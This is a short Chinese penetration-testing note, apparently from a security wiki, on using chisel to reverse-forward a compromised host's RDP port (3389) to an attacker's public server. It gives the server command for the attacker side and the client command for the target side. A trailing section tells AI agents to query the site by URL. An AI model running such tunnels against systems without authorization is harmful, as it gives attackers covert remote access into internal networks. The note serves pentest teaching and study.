# chisel

```
https://github.com/jpillora/chisel
攻击机执行
>chisel server -p 12138 –reverse
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/182.png)

```
靶机执行
>chisel client 公网攻击机IP:12138 R:1234:127.0.0.1:3389
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/183.png)

```
建立成功后，攻击机连接本机1234端口即可访问靶机3389
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/184.png)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/nei-wang-he-yu/duan-kou-ying-she-he-zhuan-fa/chisel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
